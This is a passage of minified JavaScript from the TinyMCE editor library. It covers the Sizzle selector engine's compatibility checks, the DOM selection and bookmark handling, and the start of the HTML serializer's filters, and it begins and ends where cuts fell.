l=array.length;i<l;i++)ret.push(array[i]);else for(;array[i];i++)ret.push(array[i]);return ret}}var sortOrder,siblingCheck;document.documentElement.compareDocumentPosition?sortOrder=function(a,b){return a===b?(hasDuplicate=!0,0):a.compareDocumentPosition&&b.compareDocumentPosition?4&a.compareDocumentPosition(b)?-1:1:a.compareDocumentPosition?-1:1}:(sortOrder=function(a,b){if(a===b)return hasDuplicate=!0,0;if(a.sourceIndex&&b.sourceIndex)return a.sourceIndex-b.sourceIndex;var al,bl,ap=[],bp=[],aup=a.parentNode,bup=b.parentNode,cur=aup;if(aup===bup)return siblingCheck(a,b);if(!aup)return-1;if(!bup)return 1;for(;cur;)ap.unshift(cur),cur=cur.parentNode;for(cur=bup;cur;)bp.unshift(cur),cur=cur.parentNode;al=ap.length,bl=bp.length;for(var i=0;i<al&&i<bl;i++)if(ap[i]!==bp[i])return siblingCheck(ap[i],bp[i]);return i===al?siblingCheck(a,bp[i],-1):siblingCheck(ap[i],b,1)},siblingCheck=function(a,b,ret){if(a===b)return ret;for(var cur=a.nextSibling;cur;){if(cur===b)return-1;cur=cur.nextSibling}return 1}),function(){var form=document.createElement("div"),id="script"+(new Date).getTime(),root=document.documentElement;form.innerHTML="<a name='"+id+"'/>",root.insertBefore(form,root.firstChild),document.getElementById(id)&&(Expr.find.ID=function(match,context,isXML){if("undefined"!=typeof context.getElementById&&!isXML){var m=context.getElementById(match[1]);return m?m.id===match[1]||"undefined"!=typeof m.getAttributeNode&&m.getAttributeNode("id").nodeValue===match[1]?[m]:void 0:[]}},Expr.filter.ID=function(elem,match){var node="undefined"!=typeof elem.getAttributeNode&&elem.getAttributeNode("id");return 1===elem.nodeType&&node&&node.nodeValue===match}),root.removeChild(form),root=form=null}(),function(){var div=document.createElement("div");div.appendChild(document.createComment("")),div.getElementsByTagName("*").length>0&&(Expr.find.TAG=function(match,context){var results=context.getElementsByTagName(match[1]);if("*"===match[1]){for(var tmp=[],i=0;results[i];i++)1===results[i].nodeType&&tmp.push(results[i]);results=tmp}return results}),div.innerHTML="<a href='#'></a>",div.firstChild&&"undefined"!=typeof div.firstChild.getAttribute&&"#"!==div.firstChild.getAttribute("href")&&(Expr.attrHandle.href=function(elem){return elem.getAttribute("href",2)}),div=null}(),document.querySelectorAll&&!function(){var oldSizzle=Sizzle,div=document.createElement("div"),id="__sizzle__";if(div.innerHTML="<p class='TEST'></p>",!div.querySelectorAll||0!==div.querySelectorAll(".TEST").length){Sizzle=function(query,context,extra,seed){if(context=context||document,!seed&&!Sizzle.isXML(context)){var match=/^(\w+$)|^\.([\w\-]+$)|^#([\w\-]+$)/.exec(query);if(match&&(1===context.nodeType||9===context.nodeType)){if(match[1])return makeArray(context.getElementsByTagName(query),extra);if(match[2]&&Expr.find.CLASS&&context.getElementsByClassName)return makeArray(context.getElementsByClassName(match[2]),extra)}if(9===context.nodeType){if("body"===query&&context.body)return makeArray([context.body],extra);if(match&&match[3]){var elem=context.getElementById(match[3]);if(!elem||!elem.parentNode)return makeArray([],extra);if(elem.id===match[3])return makeArray([elem],extra)}try{return makeArray(context.querySelectorAll(query),extra)}catch(qsaError){}}else if(1===context.nodeType&&"object"!==context.nodeName.toLowerCase()){var oldContext=context,old=context.getAttribute("id"),nid=old||id,hasParent=context.parentNode,relativeHierarchySelector=/^\s*[+~]/.test(query);old?nid=nid.replace(/'/g,"\\$&"):context.setAttribute("id",nid),relativeHierarchySelector&&hasParent&&(context=context.parentNode);try{if(!relativeHierarchySelector||hasParent)return makeArray(context.querySelectorAll("[id='"+nid+"'] "+query),extra)}catch(pseudoError){}finally{old||oldContext.removeAttribute("id")}}}return oldSizzle(query,context,extra,seed)};for(var prop in oldSizzle)Sizzle[prop]=oldSizzle[prop];div=null}}(),function(){var html=document.documentElement,matches=html.matchesSelector||html.mozMatchesSelector||html.webkitMatchesSelector||html.msMatchesSelector;if(matches){var disconnectedMatch=!matches.call(document.createElement("div"),"div"),pseudoWorks=!1;try{matches.call(document.documentElement,"[test!='']:sizzle")}catch(pseudoError){pseudoWorks=!0}Sizzle.matchesSelector=function(node,expr){if(expr=expr.replace(/\=\s*([^'"\]]*)\s*\]/g,"='$1']"),!Sizzle.isXML(node))try{if(pseudoWorks||!Expr.match.PSEUDO.test(expr)&&!/!=/.test(expr)){var ret=matches.call(node,expr);if(ret||!disconnectedMatch||node.document&&11!==node.document.nodeType)return ret}}catch(e){}return Sizzle(expr,null,null,[node]).length>0}}}(),function(){var div=document.createElement("div");div.innerHTML="<div class='test e'></div><div class='test'></div>",div.getElementsByClassName&&0!==div.getElementsByClassName("e").length&&(div.lastChild.className="e",1!==div.getElementsByClassName("e").length&&(Expr.order.splice(1,0,"CLASS"),Expr.find.CLASS=function(match,context,isXML){if("undefined"!=typeof context.getElementsByClassName&&!isXML)return context.getElementsByClassName(match[1])},div=null))}(),document.documentElement.contains?Sizzle.contains=function(a,b){return a!==b&&(!a.contains||a.contains(b))}:document.documentElement.compareDocumentPosition?Sizzle.contains=function(a,b){return!!(16&a.compareDocumentPosition(b))}:Sizzle.contains=function(){return!1},Sizzle.isXML=function(elem){var documentElement=(elem?elem.ownerDocument||elem:0).documentElement;return!!documentElement&&"HTML"!==documentElement.nodeName};var posProcess=function(selector,context,seed){for(var match,tmpSet=[],later="",root=context.nodeType?[context]:context;match=Expr.match.PSEUDO.exec(selector);)later+=match[0],selector=selector.replace(Expr.match.PSEUDO,"");selector=Expr.relative[selector]?selector+"*":selector;for(var i=0,l=root.length;i<l;i++)Sizzle(selector,root[i],tmpSet,seed);return Sizzle.filter(later,tmpSet)};window.tinymce.dom.Sizzle=Sizzle}(),function(tinymce){tinymce.dom.Element=function(id,settings){var dom,el,t=this;t.settings=settings=settings||{},t.id=id,t.dom=dom=settings.dom||tinymce.DOM,tinymce.isIE||(el=dom.get(t.id)),tinymce.each("getPos,getRect,getParent,add,setStyle,getStyle,setStyles,setAttrib,setAttribs,getAttrib,addClass,removeClass,hasClass,getOuterHTML,setOuterHTML,remove,show,hide,isHidden,setHTML,get".split(/,/),function(k){t[k]=function(){var i,a=[id];for(i=0;i<arguments.length;i++)a.push(arguments[i]);return a=dom[k].apply(dom,a),t.update(k),a}}),tinymce.extend(t,{on:function(n,f,s){return tinymce.dom.Event.add(t.id,n,f,s)},getXY:function(){return{x:parseInt(t.getStyle("left")),y:parseInt(t.getStyle("top"))}},getSize:function(){var n=dom.get(t.id);return{w:parseInt(t.getStyle("width")||n.clientWidth),h:parseInt(t.getStyle("height")||n.clientHeight)}},moveTo:function(x,y){t.setStyles({left:x,top:y})},moveBy:function(x,y){var p=t.getXY();t.moveTo(p.x+x,p.y+y)},resizeTo:function(w,h){t.setStyles({width:w,height:h})},resizeBy:function(w,h){var s=t.getSize();t.resizeTo(s.w+w,s.h+h)},update:function(k){var b;if(tinymce.isIE6&&settings.blocker){if(k=k||"",0===k.indexOf("get")||0===k.indexOf("has")||0===k.indexOf("is"))return;if("remove"==k)return void dom.remove(t.blocker);t.blocker?b=dom.get(t.blocker):(t.blocker=dom.uniqueId(),b=dom.add(settings.container||dom.getRoot(),"iframe",{id:t.blocker,style:"position:absolute;",frameBorder:0,src:'javascript:""'}),dom.setStyle(b,"opacity",0)),dom.setStyles(b,{left:t.getStyle("left",1),top:t.getStyle("top",1),width:t.getStyle("width",1),height:t.getStyle("height",1),display:t.getStyle("display",1),zIndex:parseInt(t.getStyle("zIndex",1)||0)-1})}}})}}(tinymce),function(tinymce){var is=tinymce.is,isIE=tinymce.isIE,each=tinymce.each,TreeWalker=tinymce.dom.TreeWalker;tinymce.create("tinymce.dom.Selection",{Selection:function(dom,win,serializer,editor){var t=this;t.dom=dom,t.win=win,t.serializer=serializer,t.editor=editor,each(["onBeforeSetContent","onBeforeGetContent","onSetContent","onGetContent"],function(e){t[e]=new tinymce.util.Dispatcher(t)}),t.win.getSelection||(t.tridentSel=new tinymce.dom.TridentSelection(t)),tinymce.isIE&&!tinymce.isIE11&&dom.boxModel&&this._fixIESelection(),tinymce.addUnload(t.destroy,t)},setCursorLocation:function(node,offset){var t=this,r=t.dom.createRng();r.setStart(node,offset),r.setEnd(node,offset),t.setRng(r),t.collapse(!1)},getContextualFragment:function(rng,frag){function isBlock(elm){return dom.isBlock(elm)&&!/H[1-6]/.test(elm.nodeName)}var t=this,ed=t.editor,dom=t.dom,node=rng.commonAncestorContainer;if(node===ed.getBody())return frag;var tableCells=dom.select("td.mceSelected, th.mceSelected",node);if(tableCells.length){var table=dom.getParent(node,"table");if(table){var parent=dom.clone(table),row=dom.create("tr");return each(tableCells,function(cell){row.appendChild(dom.clone(cell,!0))}),parent.appendChild(row),parent}}if(rng.collapsed)return frag;var parents=dom.getParents(node,null,ed.getBody()),elms=tinymce.grep(parents,function(elm){return 1===elm.nodeType&&!isBlock(elm)});if(!elms.length)return frag;var nodes=document.createDocumentFragment();return each(elms,function(elm){var n=dom.clone(elm);n.appendChild(frag),nodes.appendChild(n)}),nodes},getContent:function(s){var wb,wa,frag,t=this,r=t.getRng(),e=t.dom.create("body"),se=t.getSel();return s=s||{},wb=wa="",s.get=!0,s.format=s.format||"html",s.forced_root_block="",t.onBeforeGetContent.dispatch(t,s),"text"==s.format?t.isCollapsed()?"":r.text||(se.toString?se.toString():""):(r.cloneContents?(frag=r.cloneContents(),frag&&(s.contextual&&(frag=t.getContextualFragment(r,frag)),e.appendChild(frag))):is(r.item)||is(r.htmlText)?(e.innerHTML="<br>"+(r.item?r.item(0).outerHTML:r.htmlText),e.removeChild(e.firstChild)):e.innerHTML=r.toString(),/^\s/.test(e.innerHTML)&&(wb=" "),/\s+$/.test(e.innerHTML)&&(wa=" "),s.getInner=!0,s.content=t.isCollapsed()?"":wb+t.serializer.serialize(e,s)+wa,t.onGetContent.dispatch(t,s),s.content)},setContent:function(content,args){var caretNode,frag,temp,self=this,rng=self.getRng(),doc=self.win.document;if(args=args||{format:"html"},args.set=!0,content=args.content=content,args.no_events||self.onBeforeSetContent.dispatch(self,args),content=args.content,rng.insertNode){content+='<span id="__caret">_</span>',rng.startContainer==doc&&rng.endContainer==doc?doc.body.innerHTML=content:(rng.deleteContents(),0===doc.body.childNodes.length?doc.body.innerHTML=content:rng.createContextualFragment?rng.insertNode(rng.createContextualFragment(content)):(frag=doc.createDocumentFragment(),temp=doc.createElement("div"),frag.appendChild(temp),temp.outerHTML=content,rng.insertNode(frag))),caretNode=self.dom.get("__caret"),rng=doc.createRange(),rng.setStartBefore(caretNode),rng.setEndBefore(caretNode),self.setRng(rng),self.dom.remove("__caret");try{self.setRng(rng)}catch(ex){}}else rng.item&&(doc.execCommand("Delete",!1,null),rng=self.getRng()),/^\s+/.test(content)?(rng.pasteHTML('<span id="__mce_tmp">_</span>'+content),self.dom.remove("__mce_tmp")):rng.pasteHTML(content);args.no_events||self.onSetContent.dispatch(self,args)},getStart:function(){var startElement,parentElement,checkRng,node,self=this,rng=self.getRng();if(rng.duplicate||rng.item){if(rng.item)return rng.item(0);for(checkRng=rng.duplicate(),checkRng.collapse(1),startElement=checkRng.parentElement(),startElement.ownerDocument!==self.dom.doc&&(startElement=self.dom.getRoot()),parentElement=node=rng.parentElement();node=node.parentNode;)if(node==startElement){startElement=parentElement;break}return startElement}return startElement=rng.startContainer,1==startElement.nodeType&&startElement.hasChildNodes()&&(startElement=startElement.childNodes[Math.min(startElement.childNodes.length-1,rng.startOffset)]),startElement&&3==startElement.nodeType?startElement.parentNode:startElement},getEnd:function(){var endElement,endOffset,self=this,rng=self.getRng();return rng.duplicate||rng.item?rng.item?rng.item(0):(rng=rng.duplicate(),rng.collapse(0),endElement=rng.parentElement(),endElement.ownerDocument!==self.dom.doc&&(endElement=self.dom.getRoot()),endElement&&"BODY"==endElement.nodeName?endElement.lastChild||endElement:endElement):(endElement=rng.endContainer,endOffset=rng.endOffset,1==endElement.nodeType&&endElement.hasChildNodes()&&(endElement=endElement.childNodes[endOffset>0?endOffset-1:endOffset]),endElement&&3==endElement.nodeType?endElement.parentNode:endElement)},getBookmark:function(type,normalized){function findIndex(name,element){var index=0;return each(dom.select(name),function(node,i){node==element&&(index=i)}),index}function normalizeTableCellSelection(rng){function moveEndPoint(start){var container,offset,childNodes,prefix=start?"start":"end";container=rng[prefix+"Container"],offset=rng[prefix+"Offset"],1==container.nodeType&&"TR"==container.nodeName&&(childNodes=container.childNodes,container=childNodes[Math.min(start?offset:offset-1,childNodes.length-1)],container&&(offset=start?0:container.childNodes.length,rng["set"+(start?"Start":"End")](container,offset)))}return moveEndPoint(!0),moveEndPoint(),rng}function getLocation(){function getPoint(rng,start){var node,childNodes,container=rng[start?"startContainer":"endContainer"],offset=rng[start?"startOffset":"endOffset"],point=[],after=0;if(3==container.nodeType){if(normalized)for(node=container.previousSibling;node&&3==node.nodeType;node=node.previousSibling)offset+=node.nodeValue.length;point.push(offset)}else childNodes=container.childNodes,offset>=childNodes.length&&childNodes.length&&(after=1,offset=Math.max(0,childNodes.length-1)),point.push(t.dom.nodeIndex(childNodes[offset],normalized)+after);for(;container&&container!=root;container=container.parentNode)point.push(t.dom.nodeIndex(container,normalized));return point}var rng=t.getRng(!0),root=dom.getRoot(),bookmark={};return bookmark.start=getPoint(rng,!0),t.isCollapsed()||(bookmark.end=getPoint(rng)),bookmark}var rng,rng2,id,collapsed,name,element,styles,t=this,dom=t.dom,chr="\ufeff";if(2==type)return t.tridentSel?t.tridentSel.getBookmark(type):getLocation();if(type)return rng=t.getRng(),rng.setStart&&(rng={startContainer:rng.startContainer,startOffset:rng.startOffset,endContainer:rng.endContainer,endOffset:rng.endOffset}),{rng:rng};if(rng=t.getRng(),id=dom.uniqueId(),collapsed=tinyMCE.activeEditor.selection.isCollapsed(),styles="overflow:hidden;line-height:0px",rng.duplicate||rng.item){if(rng.item)return element=rng.item(0),name=element.nodeName,{name:name,index:findIndex(name,element)};rng2=rng.duplicate();try{rng.collapse(),rng.pasteHTML('<span data-mce-type="bookmark" id="'+id+'_start" style="'+styles+'">'+chr+"</span>"),collapsed||(rng2.collapse(!1),rng.moveToElementText(rng2.parentElement()),0===rng.compareEndPoints("StartToEnd",rng2)&&rng2.move("character",-1),rng2.pasteHTML('<span data-mce-type="bookmark" id="'+id+'_end" style="'+styles+'">'+chr+"</span>"))}catch(ex){return null}}else{if(element=t.getNode(),name=element.nodeName,"IMG"==name)return{name:name,index:findIndex(name,element)};rng2=normalizeTableCellSelection(rng.cloneRange()),collapsed||(rng2.collapse(!1),rng2.insertNode(dom.create("span",{"data-mce-type":"bookmark",id:id+"_end",style:styles},chr))),rng=normalizeTableCellSelection(rng),rng.collapse(!0),rng.insertNode(dom.create("span",{"data-mce-type":"bookmark",id:id+"_start",style:styles},chr))}return t.moveToBookmark({id:id,keep:1}),{id:id}},moveToBookmark:function(bookmark){function setEndPoint(start){var i,node,offset,children,point=bookmark[start?"start":"end"];if(point){for(offset=point[0],node=root,i=point.length-1;i>=1;i--){if(children=node.childNodes,point[i]>children.length-1)return;node=children[point[i]]}3===node.nodeType&&(offset=Math.min(point[0],node.nodeValue.length)),1===node.nodeType&&(offset=Math.min(point[0],node.childNodes.length)),start?rng.setStart(node,offset):rng.setEnd(node,offset)}return!0}function restoreEndPoint(suffix){var node,idx,next,prev,marker=dom.get(bookmark.id+"_"+suffix),keep=bookmark.keep;if(marker&&(node=marker.parentNode,"start"==suffix?(keep?(node=marker.firstChild,idx=1):idx=dom.nodeIndex(marker),startContainer=endContainer=node,startOffset=endOffset=idx):(keep?(node=marker.firstChild,idx=1):idx=dom.nodeIndex(marker),endContainer=node,endOffset=idx),!keep)){for(prev=marker.previousSibling,next=marker.nextSibling,each(tinymce.grep(marker.childNodes),function(node){3==node.nodeType&&(node.nodeValue=node.nodeValue.replace(/\uFEFF/g,""))});marker=dom.get(bookmark.id+"_"+suffix);)dom.remove(marker,1);prev&&next&&prev.nodeType==next.nodeType&&3==prev.nodeType&&!tinymce.isOpera&&(idx=prev.nodeValue.length,prev.appendData(next.nodeValue),dom.remove(next),"start"==suffix?(startContainer=endContainer=prev,startOffset=endOffset=idx):(endContainer=prev,endOffset=idx))}}function addBogus(node){return!dom.isBlock(node)||node.innerHTML||isIE||(node.innerHTML='<br data-mce-bogus="1" />'),node}var rng,rng2,root,startContainer,endContainer,startOffset,endOffset,t=this,dom=t.dom;if(bookmark)if(bookmark.start){if(rng=dom.createRng(),root=dom.getRoot(),t.tridentSel)return t.tridentSel.moveToBookmark(bookmark);setEndPoint(!0)&&setEndPoint()&&t.setRng(rng)}else if(bookmark.id)restoreEndPoint("start"),restoreEndPoint("end"),startContainer&&(rng=dom.createRng(),rng.setStart(addBogus(startContainer),startOffset),rng.setEnd(addBogus(endContainer),endOffset),t.setRng(rng));else if(bookmark.name)t.select(dom.select(bookmark.name)[bookmark.index]);else if(bookmark.rng){if(rng=bookmark.rng,rng.startContainer){rng2=t.dom.createRng();try{rng2.setStart(rng.startContainer,rng.startOffset),rng2.setEnd(rng.endContainer,rng.endOffset)}catch(e){}rng=rng2}t.setRng(rng)}},select:function(node,content){function setPoint(node,start){var walker=new TreeWalker(node,node);do{if(3==node.nodeType&&0!==tinymce.trim(node.nodeValue).length)return void(start?rng.setStart(node,0):rng.setEnd(node,node.nodeValue.length));if("BR"==node.nodeName)return void(start?rng.setStartBefore(node):rng.setEndBefore(node))}while(node=start?walker.next():walker.prev())}var idx,t=this,dom=t.dom,rng=dom.createRng();return node&&(idx=dom.nodeIndex(node),rng.setStart(node.parentNode,idx),rng.setEnd(node.parentNode,idx+1),content&&(setPoint(node,1),setPoint(node)),t.setRng(rng)),node},isCollapsed:function(){var t=this,r=t.getRng(),s=t.getSel();return!(!r||r.item)&&(r.compareEndPoints?0===r.compareEndPoints("StartToEnd",r):!s||r.collapsed)},collapse:function(to_start){var node,self=this,rng=self.getRng();rng.item&&(node=rng.item(0),rng=self.win.document.body.createTextRange(),rng.moveToElementText(node)),rng.collapse(!!to_start),self.setRng(rng)},getSel:function(){var w=this.win;return w.getSelection?w.getSelection():w.document.selection},getRng:function(w3c){var selection,rng,elm,self=this,doc=self.win.document;if(self.fakeRng)return self.fakeRng;if(w3c&&self.tridentSel)return self.tridentSel.getRangeAt(0);try{(selection=self.getSel())&&(rng=selection.rangeCount>0?selection.getRangeAt(0):selection.createRange?selection.createRange():doc.createRange())}catch(ex){}return tinymce.isIE&&!tinymce.isIE11&&rng&&rng.setStart&&doc.selection.createRange().item&&(elm=doc.selection.createRange().item(0),rng=doc.createRange(),rng.setStartBefore(elm),rng.setEndAfter(elm)),rng||(rng=doc.createRange?doc.createRange():doc.body.createTextRange()),rng.setStart&&9===rng.startContainer.nodeType&&rng.collapsed&&(elm=self.dom.getRoot(),rng.setStart(elm,0),rng.setEnd(elm,0)),self.selectedRange&&self.explicitRange&&(0===rng.compareBoundaryPoints(rng.START_TO_START,self.selectedRange)&&0===rng.compareBoundaryPoints(rng.END_TO_END,self.selectedRange)?rng=self.explicitRange:(self.selectedRange=null,self.explicitRange=null)),rng},setRng:function(r,forward){var s,t=this;if(r)if(r.select)try{r.select()}catch(ex){}else if(t.tridentSel){if(r.cloneRange)try{return void t.tridentSel.addRange(r)}catch(ex){}}else if(s=t.getSel()){t.explicitRange=r;try{s.removeAllRanges(),s.addRange(r)}catch(ex){}forward===!1&&s.extend&&(s.collapse(r.endContainer,r.endOffset),s.extend(r.startContainer,r.startOffset)),t.selectedRange=s.rangeCount>0?s.getRangeAt(0):null}},setNode:function(n){var t=this;return t.setContent(t.dom.getOuterHTML(n)),n},getNode:function(){function skipEmptyTextNodes(n,forwards){for(var orig=n;n&&3===n.nodeType&&0===n.length;)n=forwards?n.nextSibling:n.previousSibling;return n||orig}var elm,t=this,rng=t.getRng(),start=(t.getSel(),rng.startContainer),end=rng.endContainer;return rng?rng.setStart?(elm=rng.commonAncestorContainer,!rng.collapsed&&(rng.startContainer==rng.endContainer&&rng.endOffset-rng.startOffset<2&&rng.startContainer.hasChildNodes()&&(elm=rng.startContainer.childNodes[rng.startOffset]),3===start.nodeType&&3===end.nodeType&&(start=start.length===rng.startOffset?skipEmptyTextNodes(start.nextSibling,!0):start.parentNode,end=0===rng.endOffset?skipEmptyTextNodes(end.previousSibling,!1):end.parentNode,start&&start===end))?start:elm&&3==elm.nodeType?elm.parentNode:elm):rng.item?rng.item(0):rng.parentElement():t.dom.getRoot()},getSelectedBlocks:function(st,en){var sb,eb,n,t=this,dom=t.dom,bl=[];if(sb=dom.getParent(st||t.getStart(),dom.isBlock),eb=dom.getParent(en||t.getEnd(),dom.isBlock),sb&&bl.push(sb),sb&&eb&&sb!=eb){n=sb;for(var walker=new TreeWalker(sb,dom.getRoot());(n=walker.next())&&n!=eb;)dom.isBlock(n)&&bl.push(n)}return eb&&sb!=eb&&bl.push(eb),bl},isForward:function(){var anchorRange,focusRange,dom=this.dom,sel=this.getSel();return!sel||null==sel.anchorNode||null==sel.focusNode||(anchorRange=dom.createRng(),anchorRange.setStart(sel.anchorNode,sel.anchorOffset),anchorRange.collapse(!0),focusRange=dom.createRng(),focusRange.setStart(sel.focusNode,sel.focusOffset),focusRange.collapse(!0),anchorRange.compareBoundaryPoints(anchorRange.START_TO_START,focusRange)<=0)},normalize:function(){function normalizeEndPoint(start){function hasBrBeforeAfter(node,left){for(var walker=new TreeWalker(node,dom.getParent(node.parentNode,dom.isBlock)||body);node=walker[left?"prev":"next"]();)if("BR"===node.nodeName)return!0}function findTextNodeRelative(left,startNode){var walker,lastInlineElement;for(startNode=startNode||container,walker=new TreeWalker(startNode,dom.getParent(startNode.parentNode,dom.isBlock)||body);node=walker[left?"prev":"next"]();){if(3===node.nodeType&&node.nodeValue.length>0)return container=node,offset=left?node.nodeValue.length:0,void(normalized=!0);if(dom.isBlock(node)||nonEmptyElementsMap[node.nodeName.toLowerCase()])return;lastInlineElement=node}collapsed&&lastInlineElement&&(container=lastInlineElement,normalized=!0,offset=0)}var container,offset,walker,node,nonEmptyElementsMap,nodeName,dom=self.dom,body=dom.getRoot();if(container=rng[(start?"start":"end")+"Container"],offset=rng[(start?"start":"end")+"Offset"],nonEmptyElementsMap=dom.schema.getNonEmptyElements(),9===container.nodeType&&(container=dom.getRoot(),offset=0),container===body){if(start&&(node=container.childNodes[offset>0?offset-1:0],node&&(nodeName=node.nodeName.toLowerCase(),nonEmptyElementsMap[node.nodeName]||"TABLE"==node.nodeName)))return;if(container.hasChildNodes()&&(container=container.childNodes[Math.min(!start&&offset>0?offset-1:offset,container.childNodes.length-1)],offset=0,container.hasChildNodes()&&!/TABLE/.test(container.nodeName))){node=container,walker=new TreeWalker(container,body);do{if(3===node.nodeType&&node.nodeValue.length>0){offset=start?0:node.nodeValue.length,container=node,normalized=!0;break}if(nonEmptyElementsMap[node.nodeName.toLowerCase()]){offset=dom.nodeIndex(node),container=node.parentNode,"IMG"!=node.nodeName||start||offset++,normalized=!0;break}}while(node=start?walker.next():walker.prev())}}collapsed&&(3===container.nodeType&&0===offset&&findTextNodeRelative(!0),1===container.nodeType&&(node=container.childNodes[offset],!node||"BR"!==node.nodeName||hasBrBeforeAfter(node)||hasBrBeforeAfter(node,!0)||findTextNodeRelative(!0,container.childNodes[offset]))),start&&!collapsed&&3===container.nodeType&&offset===container.nodeValue.length&&findTextNodeRelative(!1),normalized&&rng["set"+(start?"Start":"End")](container,offset)}var rng,normalized,collapsed,self=this;tinymce.isIE||(rng=self.getRng(),collapsed=rng.collapsed,normalizeEndPoint(!0),collapsed||normalizeEndPoint(),normalized&&(collapsed&&rng.collapse(!0),self.setRng(rng,self.isForward())))},selectorChanged:function(selector,callback){var currentSelectors,self=this;return self.selectorChangedData||(self.selectorChangedData={},currentSelectors={},self.editor.onNodeChange.addToTop(function(ed,cm,node){var dom=self.dom,parents=dom.getParents(node,null,dom.getRoot()),matchedSelectors={};each(self.selectorChangedData,function(callbacks,selector){each(parents,function(node){if(dom.is(node,selector))return currentSelectors[selector]||(each(callbacks,function(callback){callback(!0,{node:node,selector:selector,parents:parents})}),currentSelectors[selector]=callbacks),matchedSelectors[selector]=callbacks,!1})}),each(currentSelectors,function(callbacks,selector){matchedSelectors[selector]||(delete currentSelectors[selector],each(callbacks,function(callback){callback(!1,{node:node,selector:selector,parents:parents})}))})})),self.selectorChangedData[selector]||(self.selectorChangedData[selector]=[]),self.selectorChangedData[selector].push(callback),self},scrollIntoView:function(elm){var y,viewPort,self=this,dom=self.dom;viewPort=dom.getViewPort(self.editor.getWin()),y=dom.getPos(elm).y,(y<viewPort.y||y+25>viewPort.y+viewPort.h)&&self.editor.getWin().scrollTo(0,y<viewPort.y?y:y-viewPort.h+25)},placeCaretAt:function(clientX,clientY){this.setRng(tinymce.dom.RangeUtils.getCaretRangeFromPoint(clientX,clientY,this.editor.getDoc()))},destroy:function(manual){var self=this;self.win=null,manual||tinymce.removeUnload(self.destroy)},_fixIESelection:function(){function rngFromPoint(x,y){var rng=body.createTextRange();try{rng.moveToPoint(x,y)}catch(ex){rng=null}return rng}function selectionChange(e){var pointRng;e.button?(pointRng=rngFromPoint(e.x,e.y),pointRng&&(pointRng.compareEndPoints("StartToStart",startRng)>0?pointRng.setEndPoint("StartToStart",startRng):pointRng.setEndPoint("EndToEnd",startRng),pointRng.select())):endSelection()}function endSelection(){var rng=doc.selection.createRange();startRng&&!rng.item&&0===rng.compareEndPoints("StartToEnd",rng)&&startRng.select(),dom.unbind(doc,"mouseup",endSelection),dom.unbind(doc,"mousemove",selectionChange),startRng=started=0}var started,startRng,htmlElm,dom=this.dom,doc=dom.doc,body=doc.body;doc.documentElement.unselectable=!0,dom.bind(doc,["mousedown","contextmenu"],function(e){if("HTML"===e.target.nodeName){if(started&&endSelection(),htmlElm=doc.documentElement,htmlElm.scrollHeight>htmlElm.clientHeight)return;started=1,startRng=rngFromPoint(e.x,e.y),startRng&&(dom.bind(doc,"mouseup",endSelection),dom.bind(doc,"mousemove",selectionChange),dom.win.focus(),startRng.select())}})}})}(tinymce),function(tinymce){tinymce.dom.Serializer=function(settings,dom,schema){function trimTrailingBr(rootNode){function isBr(node){return node&&"br"===node.name}var brNode1,brNode2;brNode1=rootNode.lastChild,isBr(brNode1)&&(brNode2=brNode1.prev,isBr(brNode2)&&(brNode1.remove(),brNode2.remove()))}var onPreProcess,onPostProcess,htmlParser,self=this,isIE=tinymce.isIE,each=tinymce.each;return settings.apply_source_formatting||(settings.indent=!1),dom=dom||tinymce.DOM,schema=schema||new tinymce.html.Schema(settings),settings.entity_encoding=settings.entity_encoding||"named",settings.remove_trailing_brs=!("remove_trailing_brs"in settings)||settings.remove_trailing_brs,onPreProcess=new tinymce.util.Dispatcher(self),onPostProcess=new tinymce.util.Dispatcher(self),htmlParser=new tinymce.html.DomParser(settings,schema),htmlParser.addAttributeFilter("data-mce-tabindex",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],node.attr("tabindex",node.attributes.map["data-mce-tabindex"]),node.attr(name,null)}),htmlParser.addAttributeFilter("src,href,style",function(nodes,name){for(var node,value,undef,i=nodes.length,internalName="data-mce-"+name,urlConverter=settings.url_converter,urlConverterScope=settings.url_converter_scope;i--;)node=nodes[i],value=node.attributes.map[internalName],value!==undef?(node.attr(name,value.length>0?value:null),node.attr(internalName,null)):(value=node.attributes.map[name],"style"===name?value=dom.serializeStyle(dom.parseStyle(value),node.name):urlConverter&&(value=urlConverter.call(urlConverterScope,value,name,node.name)),node.attr(name,value.length>0?value:null))}),htmlParser.addAttributeFilter("class",function(nodes,name){for(var node,value,i=nodes.length;i--;)node=nodes[i],value=node.attr("class"),value&&(value=node.attr("class").replace(/(?:^|\s)mce(-?)(Item[\w-]+|Selected)(?!\S)/gi,""),node.attr("class",value.length>0?value:null))}),htmlParser.addAttributeFilter("data-mce-type",function(nodes,name,args){for(var node,i=nodes.length;i--;)node=nodes[i],"bookmark"!==node.attributes.map["data-mce-type"]||args.cleanup||node.remove()}),htmlParser.addNodeFilter("noscript",function(nodes){for(var node,i=nodes.length;i--;)node=nodes[i].firstChild,node&&(node.value=tinymce.html.Entities.decode(node.value))}),htmlParser.addNodeFilter("script,style",function(nodes,name){function trim(value){return value.replace(/(<!--\[CDATA\[|\]\]-->)/g,"\n").replace(/^[\r\n]*|[\r\n]*$/g,"").replace(/^\s*((<!--)?(\s*\/\/)?\s*<!\[CDATA\[|(<!--\s*)?\/\*\s*<!\[CDATA\[\s*\*\/|(\/\/)?\s*<!--|\/\*\s*<!--\s*\*\/)\s*[\r\n]*/gi,"").replace(/\s*(\/\*\s*\]\]>\s*\*\/(-->)?|\s*\/\/\s*\]\]>(-->)?|\/\/\s*(-->)?|\]\]>|\/\*\s*-->\s*\*\/|\s*-->\s*)\s*$/g,"")}for(var node,value,i=nodes.length;i--;)node=nodes[i],value=node.firstChild?node.firstChild.value:"","script"===name?(type=node.attr("type"),type&&node.attr("type","mce-no/type"==type?null:type.replace(/^mce\-/,"")),value.length>0&&(node.firstChild.value="// <![CDATA[\n"+trim(value)+"\n// ]]>")):value.length>0&&(node.firstChild.value="<!--\n"+trim(value)+"\n-->")}),htmlParser.addNodeFilter("#comment",function(nodes,name){for(var node,i=nodes.length;i--;)node=nodes[i],0===node.value.indexOf("[CDATA[")?(node.name="#cdata",node.type=4,node.value=node.value.replace(/^\[CDATA\[|\]\]$/g,"")):0===node.value.indexOf("mce:protected ")&&(node.name="#text",node.type=3,node.raw=!0,node.value=unescape(node.value).substr(14))}),htmlParser.addNodeFilter("xml:namespace,input",function(nodes,name){
